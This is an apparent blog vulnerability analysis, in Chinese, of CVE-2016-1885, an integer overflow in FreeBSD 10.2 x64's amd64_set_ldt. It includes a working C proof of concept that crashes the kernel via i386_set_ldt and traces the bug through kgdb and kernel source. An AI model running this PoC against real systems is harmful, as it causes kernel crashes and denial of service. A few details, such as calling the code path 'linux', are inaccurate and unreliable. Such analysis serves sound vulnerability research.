[CVE-2016-1885]FreeBSD 10.2 x64整数溢出漏洞分析

作者:k0shl 转载请注明出处:http://whereisk0shl.top


漏洞说明


PoC:

#include <stdio.h>
#include <unistd.h>
#include <machine/segments.h>
#include <machine/sysarch.h>
#include <sysexits.h>
#include <err.h>
 
 
int main(int argc, char **argv){
 
    int res;
 
    struct segment_descriptor desc = {0, 0, SDT_MEMRW, SEL_UPL, 1, 0, 0, 1, 0 ,0}; 
 
    printf("[+] Adding an initial entry to the process LDT...\n");
    res = i386_set_ldt(LDT_AUTO_ALLOC, (union descriptor *) &desc, 1);
    if (res < 0){
        err(EX_OSERR, "i386_set_ldt(LDT_AUTO_ALLOC)");
    }
    printf("returned index: %d\n", res);
 
    printf("Triggering the bug...\n");
    res = i386_set_ldt(1, NULL, 0x80000000);
}

环境搭建及漏洞复现


其实此漏洞发生在amd64_set_ldt函数中,但罪魁祸首其实是里面的另一个函数,此漏洞是由于FreeBSD 10.2系统中的amd64_set_ldt函数在处理指针中的成员函数时,由于对函数值没有进行有效的控制,导致在函数处理时由于整数溢出,导致后续调用bzero()函数时堆被置0,引发系统异常处理,下面对此漏洞进行详细分析。

首先需要在freebsd上创建一个vsftp用于传输PoC文件,之后使用Clang编译,执行PoC即可。

执行PoC之后系统崩溃,产生了vmcore。

我们使用kgdb加载vmcore来看一下崩溃信息。

实际上在我另一篇FreeBSD的分析中提到了#8处的call trap()这段asm代码,其实到这里,已经进入了linux的内核异常处理过程,那么我们要关注的就是#9位置以及往后的代码,下面我们就从vmcore入手,结合内核源码来分析整个漏洞形成的原因。


漏洞分析


首先,我们在kgdb下通过bt来回溯一下漏洞发生的过程,和刚才直接查看vmcore稍有不同。

其中我们看到原先#9处的位置,现在调用了bzero()函数,其实这个函数是置零函数,其实,这个才是漏洞触发的真正原因!后续分析过程中我们会讲解一下bzero这个函数的函数结构,首先我们来看一下#9之前的调用情况,首先来看一下#10位置。我们来看一下amd64_set_ldt函数。

首先来到崩溃位置622行

        bzero(&((struct user_segment_descriptor *)(pldt->ldt_base))
            [uap->start], sizeof(struct user_segment_descriptor) * i);

这里调用到了一个sizeof指针i,那么这个i指针从哪里来的呢?

        largest_ld = uap->start + uap->num;
        if (largest_ld > max_ldt_segment)
            largest_ld = max_ldt_segment;
        i = largest_ld - uap->start;

可以看到,i的大小与uap有关,那么uap又是从哪里来的呢?

int
amd64_set_ldt(td, uap, descs)

函数定义部分,uap作为参数传入,那么接下来,我们就来到外层函数sysarch_ldt来仔细分析一下uap到底发生了什么,会导致内核堆溢出漏洞的发生。

首先在外层函数sysarch_ldt的定义处

int
sysarch_ldt(struct thread *td, struct sysarch_args *uap, int uap_space)

可以看到这里给uap定义了一个明确的类,struct sysarch_args,我们就通过vmcore来看一下这个结构类到底是怎么回事。

这里我们要关注几个点,第一个是op的值为1,第二个是parms的值,接下来回到源代码部分。

    if (uap_space == UIO_USERSPACE) {
        error = copyin(uap->parms, &la, sizeof(struct i386_ldt_args));
        if (error != 0)
            return (error);
        largs = &la;
    } else
        largs = (struct i386_ldt_args *)uap->parms;

进入sysarch_args函数后,在这个if语句中,largs会被struct i386_ldt_args类赋值,赋值的值是uap的parms成员,实际上通过上面图中的回溯时不能准确看到这个成员中的内容的,一会再来讲解如何查看该成员的内容,但要记住这个成员。接下来会进入一处switch语句。

    switch (uap->op) {
    case I386_GET_LDT:
        error = amd64_get_ldt(td, largs);
        break;
    case I386_SET_LDT:
        if (largs->descs != NULL && largs->num > max_ldt_segment)
            return (EINVAL);
        set_pcb_flags(td->td_pcb, PCB_FULL_IRET);
        if (largs->descs != NULL) {
            lp = malloc(largs->num * sizeof(struct
                user_segment_descriptor), M_TEMP, M_WAITOK);
            error = copyin(largs->descs, lp, largs->num *
                sizeof(struct user_segment_descriptor));
            if (error == 0)
                error = amd64_set_ldt(td, largs, lp);
            free(lp, M_TEMP);
        } else {
            error = amd64_set_ldt(td, largs, NULL);
        }
        break;
    }

语句中,对uap的成员op做了一个判断,刚才我们通过p查看uap的时候发现op的值为1,那么我们在sys_machdep.h中看一下对这两个CASE的定义,40行。

#define I386_GET_LDT    0
#define I386_SET_LDT    1

可以看到I386_SET_LDT值为1,也就是说程序会进入下面那处CASE语句中,接下来在语句中我们看到使用了largs这个结构体,之前我们用图中结构体回溯失败了,因为这是64位系统,但是vmcore给出的成员地址却是32位的,系统没法定位那个地址的内容。

但是我们注意到,在接下来amd64_set_ldt的两处调用中,都涉及到largs,作为第二个参数刚才我们已经分析过,第二个参数正是uap,那么这样,我们可以通过#10处的uap的值,来查看largs结构成员的内容。

我们可以看到三个成员都非常重要,start=1,descs=0x0(也就是NULL),num=2147483648,那么回到刚才的源代码位置。

首先descs=NULL,因此第一个if语句不会进入,那么会进入esle语句,也就是说largs会直接作为uap进入amd64_set_ldt函数中。

接下来回到amd64_set_ldt函数。

    if (descs == NULL) {
        /* Free descriptors */
        if (uap->start == 0 && uap->num == 0)
            uap->num = max_ldt_segment;
        if (uap->num == 0)
            return (EINVAL);
        if ((pldt = mdp->md_ldt) == NULL ||
            uap->start >= max_ldt_segment)
            return (0);
        largest_ld = uap->start + uap->num;

进入函数后会进入一系列判断,记住我们刚才的值,desc=NULL,因此会进入这个循环,接着start=1,那么第一个if语句不满足。num不等于0,所以第二个if语句不满足,那么largest_ld=uap->start+uap->num这就是关键了!

我们刚才num的值为2147483648,也就是0x800000000,而start值为1,也就是说,而largest_ld的定义是有符号数,因此相加后,值为一个负数!

接下来。

        if (largest_ld > max_ldt_segment)
            largest_ld = max_ldt_segment;
        i = largest_ld - uap->start;

会将这个值进行一个判断,max_ldt_segment在整个.c文件入口处已经有定义。

int max_ldt_segment = 1024;

由于largest_ld的大小为负数,条件判断肯定通过,但是接下来i为两值相减,减完之后就是uap->num的值,也就是0x80000000,一个极大值。

接下来就说到我们刚才提到的bzero(),这个函数是linux下的一个置0函数,它的定义如下

原型:extern void bzero(void *s, int n);
参数说明:s 要置零的数据的起始地址; n 要置零的数据字节个数。

这里,n就是sizeof*i,这个i的大小就是num,是一个极大的值,因此,在调用这个函数后,内存空间将有大面积置0,因此造成了内核崩溃。

Comments
Write a Comment